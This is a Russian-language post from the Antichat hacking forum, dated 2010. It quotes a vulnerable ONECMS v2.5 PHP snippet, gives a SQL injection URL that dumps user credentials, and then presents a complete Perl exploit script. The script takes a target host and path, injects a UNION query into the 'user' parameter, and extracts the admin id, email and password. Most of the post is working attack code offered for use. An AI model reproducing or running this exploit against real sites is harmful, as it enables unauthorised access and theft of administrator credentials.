Форум АНТИЧАТ

05.03.2010, 13:25

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

Провел на форуме:
5011696

Репутация: 2221

Цитата:

Сообщение от .:[melkiy]:.

хм.. у меня всё нормально..
....

file:index.php

PHP код:


		
			
if ($_GET['user']) {

    $row = mysql_fetch_row(mysql_query("SELECT aim,msn,website,nickname,location,username,yahoo,icq,gtalk,birthday,id FROM ".$pre."profile WHERE username = '".$_GET['user']."'"));

    echo profile($row[10], $_GET['user']);

    }

result:

Код:

/index.php?load=elite&user=1'+union+select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11+from+onecms_users+--+

Ну про второе я тоже видел, просто у меня в PHP mq = on был

Накидал сплойтик.

PHP код:


		
			
#!/usr/bin/perl 

use LWP::Simple;

print "\n";

print "##############################################################\n";

print "# ONECMS v2.5 SQL INJECTION                                  #\n";

print "# Bug founded by: .:[melkiy]:.                               #\n";

print "# Exploit coded by: Ctacok                                   #\n";

print "# Special for Antichat (forum.antichat.ru)                   #\n";

print "# Require : Magic_quotes = Off                               #\n";

print "##############################################################\n";

if (@ARGV < 2)

{

print "\n Usage: exploit.pl [host] [path] ";

print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";

exit;

}

$host=$ARGV[0];

$path=$ARGV[1];

$prefix=$ARGV[2];   #  PREFIX TABLES, Default: onecms

$vuln = "-2'+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a),10,11+from+".$prefix."_users";

$doc = get($host.$path."index.php?load=elite&user=".$vuln."+--+");

if ($doc =~ /:::(.+):(.+):(.+):::/){

            print "\n[+] Admin id: : $1";

        print "\n[+] Admin email: $2";

        print "\n[+] Admin password: $3";

}